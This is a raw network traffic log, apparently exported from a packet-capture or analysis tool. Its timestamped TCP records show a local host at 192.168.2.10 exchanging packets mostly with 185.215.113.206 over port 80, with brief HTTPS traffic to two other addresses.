Nov 22, 2024 17:09:00.511215925 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.511228085 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.511264086 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.512089014 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.512142897 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.512156010 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.512171984 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.512171984 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.512192965 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.513003111 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.513048887 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.513075113 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.513087988 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.513127089 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.513890028 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.513906956 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.513919115 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.513947964 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.513962030 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.514921904 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.514944077 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.514983892 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.514997005 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.515016079 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.515032053 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.515782118 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.515826941 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.515851974 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.515892029 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.515907049 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.515965939 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.516666889 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.516711950 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.516725063 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.516732931 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.516743898 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.516787052 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.517826080 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.517874956 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.517884016 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.517951012 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.517993927 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.518496990 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.518533945 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.518543959 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.518553019 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.518563032 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.518589020 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.519412041 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.519438028 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.519449949 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.519454002 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.519469023 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.519483089 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.520311117 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.520375967 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.520385027 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.520396948 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.520431995 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.521226883 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.521282911 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.521300077 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.521311045 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.521347046 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.522157907 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.522226095 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.522267103 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.526878119 CET	443	49792	20.25.227.174	192.168.2.10
Nov 22, 2024 17:09:00.526906013 CET	443	49792	20.25.227.174	192.168.2.10
Nov 22, 2024 17:09:00.527021885 CET	49792	443	192.168.2.10	20.25.227.174
Nov 22, 2024 17:09:00.527021885 CET	49792	443	192.168.2.10	20.25.227.174
Nov 22, 2024 17:09:00.527035952 CET	443	49792	20.25.227.174	192.168.2.10
Nov 22, 2024 17:09:00.527106047 CET	49792	443	192.168.2.10	20.25.227.174
Nov 22, 2024 17:09:00.568758965 CET	443	49792	20.25.227.174	192.168.2.10
Nov 22, 2024 17:09:00.568784952 CET	443	49792	20.25.227.174	192.168.2.10
Nov 22, 2024 17:09:00.568943977 CET	49792	443	192.168.2.10	20.25.227.174
Nov 22, 2024 17:09:00.568943977 CET	49792	443	192.168.2.10	20.25.227.174
Nov 22, 2024 17:09:00.568957090 CET	443	49792	20.25.227.174	192.168.2.10
Nov 22, 2024 17:09:00.569008112 CET	49792	443	192.168.2.10	20.25.227.174
Nov 22, 2024 17:09:00.596405983 CET	49799	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.596465111 CET	443	49799	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.596574068 CET	49799	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.597003937 CET	49799	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.597018003 CET	443	49799	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.611459017 CET	443	49792	20.25.227.174	192.168.2.10
Nov 22, 2024 17:09:00.611490011 CET	443	49792	20.25.227.174	192.168.2.10
Nov 22, 2024 17:09:00.611538887 CET	49792	443	192.168.2.10	20.25.227.174
Nov 22, 2024 17:09:00.611551046 CET	443	49792	20.25.227.174	192.168.2.10
Nov 22, 2024 17:09:00.611588001 CET	49792	443	192.168.2.10	20.25.227.174
Nov 22, 2024 17:09:00.611882925 CET	49792	443	192.168.2.10	20.25.227.174
Nov 22, 2024 17:09:00.643884897 CET	443	49792	20.25.227.174	192.168.2.10
Nov 22, 2024 17:09:00.643918037 CET	443	49792	20.25.227.174	192.168.2.10
Nov 22, 2024 17:09:00.643974066 CET	49792	443	192.168.2.10	20.25.227.174
Nov 22, 2024 17:09:00.643992901 CET	443	49792	20.25.227.174	192.168.2.10
Nov 22, 2024 17:09:00.644128084 CET	49792	443	192.168.2.10	20.25.227.174
Nov 22, 2024 17:09:00.692565918 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.692590952 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.692608118 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.692684889 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.692750931 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.692939043 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.692967892 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.692985058 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.693013906 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.693053961 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.693849087 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.693923950 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.693941116 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.693972111 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.694025040 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.694916964 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.694953918 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.694988012 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.695005894 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.695044041 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.695663929 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.695719957 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.695727110 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.695745945 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.695765972 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.695791960 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.696577072 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.696618080 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.696630001 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.696646929 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.696691990 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.697519064 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.697566032 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.697586060 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.697695971 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.698442936 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.698517084 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.698519945 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.698533058 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.698575974 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.699343920 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.699390888 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.699404001 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.699420929 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.699443102 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.699487925 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.700443983 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.700495005 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.700510025 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.700511932 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.700587034 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.701183081 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.701231956 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.701236963 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.701256037 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.701282978 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.701307058 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.702158928 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.702194929 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.702210903 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.702215910 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.702238083 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.702246904 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.703038931 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.703066111 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.703088999 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.703103065 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.703125000 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.703907967 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.703964949 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.703969955 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.703989983 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.704027891 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.704885960 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.704997063 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.705014944 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.705050945 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.705091000 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.705773115 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.705790043 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.705827951 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.705888987 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.705910921 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.705984116 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.706677914 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.706727982 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.706743956 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.706746101 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.706787109 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.707650900 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.707695961 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.707714081 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.707717896 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.707731962 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.707753897 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.708601952 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.708655119 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.708657980 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.708673000 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.708718061 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.709465981 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.709506035 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.709522009 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.709561110 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.709593058 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.710350037 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.710393906 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.710397005 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.710412979 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.710460901 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.711249113 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.711309910 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.711349964 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.711359978 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.711386919 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.712172031 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.712225914 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.712553978 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.712572098 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.712590933 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.712600946 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.712614059 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.712645054 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.713426113 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.713474035 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.713480949 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.713494062 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.713509083 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.713531017 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.714345932 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.714395046 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.714395046 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.714411974 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.714453936 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.715292931 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.715354919 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.715363026 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.715380907 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.715420961 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.716150045 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.716203928 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.716214895 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.716222048 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.716258049 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.717097998 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.717180014 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.717197895 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.717215061 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.717248917 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.718089104 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.718151093 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.718149900 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.718235970 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.718238115 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.718442917 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.718893051 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.718941927 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.718946934 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.718965054 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.719003916 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.719830036 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.719888926 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.719906092 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.719986916 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.720906019 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.720951080 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.720957041 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.720968962 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.721010923 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.721694946 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.721745968 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.721766949 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.721786976 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.721821070 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.721833944 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.722567081 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.722609043 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.722642899 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.722660065 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.722697973 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.723630905 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.723699093 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.723757982 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.723774910 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.723819017 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.724488020 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.724627972 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.735148907 CET	443	49792	20.25.227.174	192.168.2.10
Nov 22, 2024 17:09:00.735199928 CET	443	49792	20.25.227.174	192.168.2.10
Nov 22, 2024 17:09:00.735306978 CET	49792	443	192.168.2.10	20.25.227.174
Nov 22, 2024 17:09:00.735323906 CET	443	49792	20.25.227.174	192.168.2.10
Nov 22, 2024 17:09:00.735337019 CET	49792	443	192.168.2.10	20.25.227.174
Nov 22, 2024 17:09:00.735446930 CET	49792	443	192.168.2.10	20.25.227.174
Nov 22, 2024 17:09:00.735465050 CET	49792	443	192.168.2.10	20.25.227.174
Nov 22, 2024 17:09:00.735512972 CET	443	49792	20.25.227.174	192.168.2.10
Nov 22, 2024 17:09:00.735574961 CET	49792	443	192.168.2.10	20.25.227.174
Nov 22, 2024 17:09:00.894176960 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.894208908 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.894222975 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.894273043 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.894510031 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.894553900 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.894602060 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.894618034 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.894645929 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.894659996 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.895344019 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.895395041 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.895412922 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.895452976 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.896245956 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.896306992 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.896322966 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.896338940 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.896359921 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.896374941 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.897164106 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.897202969 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.897243977 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.897262096 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.897280931 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.897309065 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.898118973 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.898166895 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.898199081 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.898216009 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.898237944 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.898256063 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.898999929 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.899053097 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.899106026 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.899282932 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.899341106 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.899955034 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.899991035 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.900089025 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.900135040 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.900262117 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.900309086 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.900820971 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.900897980 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.900914907 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.900940895 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.900969982 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.901758909 CET	80	49747	185.215.113.206	192.168.2.10
